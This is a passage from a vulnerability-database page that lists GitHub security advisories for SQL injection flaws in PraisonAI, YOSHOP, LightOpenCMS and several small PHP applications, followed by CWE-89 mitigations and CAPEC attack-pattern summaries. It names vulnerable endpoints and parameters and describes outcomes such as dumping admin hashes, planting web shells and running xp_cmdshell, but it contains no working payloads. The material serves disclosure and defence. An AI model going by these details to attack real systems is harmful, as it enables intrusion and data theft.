\u003e= 3.10.0, \u003c= 4.6.64` plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.\n\n## Advisory History\n\nRepository security advisories were checked on 2026-06-19. The closest public advisory is `GHSA-3643-7v76-5cj2`, \"PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries\". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are `embedding vector({dimension})` and `embedding vector\u003cfloat, {dimension}\u003e`, and the issue remains after the identifier hardening.\n\nOther checked comparators include conversation-store `table_prefix` SQL injection advisories (`GHSA-rg3h-x3jw-7jm5`, `GHSA-x783-xp3g-mqhp`) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.\n\n## References\n\n- `src/praisonai/praisonai/persistence/knowledge/pgvector.py`\n- `src/praisonai/praisonai/persistence/knowledge/cassandra.py`\n- `src/praisonai/praisonai/persistence/knowledge/base.py`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp`",
"id": "GHSA-wf65-4jjx-q444",
"modified": "2026-10-08T17:17:01Z",
"published": "2026-10-08T17:17:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wf65-4jjx-q444"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60090"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-sql-cql-injection-via-vector-dimension"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL"
}
GHSA-WF67-68FH-GGP2
Vulnerability from github – Published: 2025-05-17 06:30 – Updated: 2025-05-17 06:30A vulnerability was found in SourceCodester Doctor's Appointment System 1.0. It has been classified as critical. This affects an unknown part of the file /admin/appointment.php of the component GET Parameter Handler. The manipulation of the argument ID leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-4816"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-17T04:16:20Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in SourceCodester Doctor\u0027s Appointment System 1.0. It has been classified as critical. This affects an unknown part of the file /admin/appointment.php of the component GET Parameter Handler. The manipulation of the argument ID leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-wf67-68fh-ggp2",
"modified": "2025-05-17T06:30:28Z",
"published": "2025-05-17T06:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4816"
},
{
"type": "WEB",
"url": "https://github.com/Xiaoyi-ing/CVE/issues/8"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.309273"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.309273"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.574129"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WF8W-9FX6-XFW9
Vulnerability from github – Published: 2022-08-31 00:00 – Updated: 2022-09-02 00:01Library Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /staff/bookdetails.php.
{
"affected": [],
"aliases": [
"CVE-2022-36711"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-30T00:15:00Z",
"severity": "CRITICAL"
},
"details": "Library Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /staff/bookdetails.php.",
"id": "GHSA-wf8w-9fx6-xfw9",
"modified": "2022-09-02T00:01:13Z",
"published": "2022-08-31T00:00:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36711"
},
{
"type": "WEB",
"url": "https://github.com/k0xx11/bug_report/blob/main/vendors/kingbhob02/library-management-system/SQLi-5.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WF92-WXH9-2RGP
Vulnerability from github – Published: 2022-05-02 03:28 – Updated: 2022-05-02 03:28SQL injection vulnerability in index.php in LightOpenCMS 0.1 allows remote attackers to execute arbitrary SQL commands via the id parameter.
{
"affected": [],
"aliases": [
"CVE-2009-1766"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-05-22T18:30:00Z",
"severity": "MODERATE"
},
"details": "SQL injection vulnerability in index.php in LightOpenCMS 0.1 allows remote attackers to execute arbitrary SQL commands via the id parameter.",
"id": "GHSA-wf92-wxh9-2rgp",
"modified": "2022-05-02T03:28:19Z",
"published": "2022-05-02T03:28:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1766"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/8724"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/504101/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WFC7-VVW3-2PQ2
Vulnerability from github – Published: 2025-10-02 18:30 – Updated: 2025-10-02 21:31YOSHOP 2.0 suffers from an unauthenticated SQL injection in the goodsIds parameter of the /api/goods/listByIds endpoint. The getListByIds function concatenates user input into orderRaw('field(goods_id, ...)'), allowing attackers to: (a) enumerate or modify database data, including dumping admin password hashes; (b) write web-shell files or invoke xp_cmdshell, leading to remote code execution on servers configured with sufficient DB privileges.
{
"affected": [],
"aliases": [
"CVE-2025-56162"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-02T16:15:35Z",
"severity": "MODERATE"
},
"details": "YOSHOP 2.0 suffers from an unauthenticated SQL injection in the goodsIds parameter of the /api/goods/listByIds endpoint. The getListByIds function concatenates user input into orderRaw(\u0027field(goods_id, ...)\u0027), allowing attackers to: (a) enumerate or modify database data, including dumping admin password hashes; (b) write web-shell files or invoke xp_cmdshell, leading to remote code execution on servers configured with sufficient DB privileges.",
"id": "GHSA-wfc7-vvw3-2pq2",
"modified": "2025-10-02T21:31:18Z",
"published": "2025-10-02T18:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-56162"
},
{
"type": "WEB",
"url": "https://gitee.com/xany/yoshop2.0"
},
{
"type": "WEB",
"url": "https://github.com/ZyWAC/CVE-Disclosures/blob/6b337a44934ffe948275995e9b79158e97c78fc4/2025/YOSHOP2.0/CVE-2025-56162.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WFC9-7J6V-963W
Vulnerability from github – Published: 2022-05-14 03:40 – Updated: 2022-05-14 03:40SQL Injection exists in the Smart Shoutbox 3.0.0 component for Joomla! via the shoutauthor parameter to the archive URI.
{
"affected": [],
"aliases": [
"CVE-2018-5975"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-17T07:29:00Z",
"severity": "CRITICAL"
},
"details": "SQL Injection exists in the Smart Shoutbox 3.0.0 component for Joomla! via the shoutauthor parameter to the archive URI.",
"id": "GHSA-wfc9-7j6v-963w",
"modified": "2022-05-14T03:40:57Z",
"published": "2022-05-14T03:40:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5975"
},
{
"type": "WEB",
"url": "https://exploit-db.com/exploits/44127"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.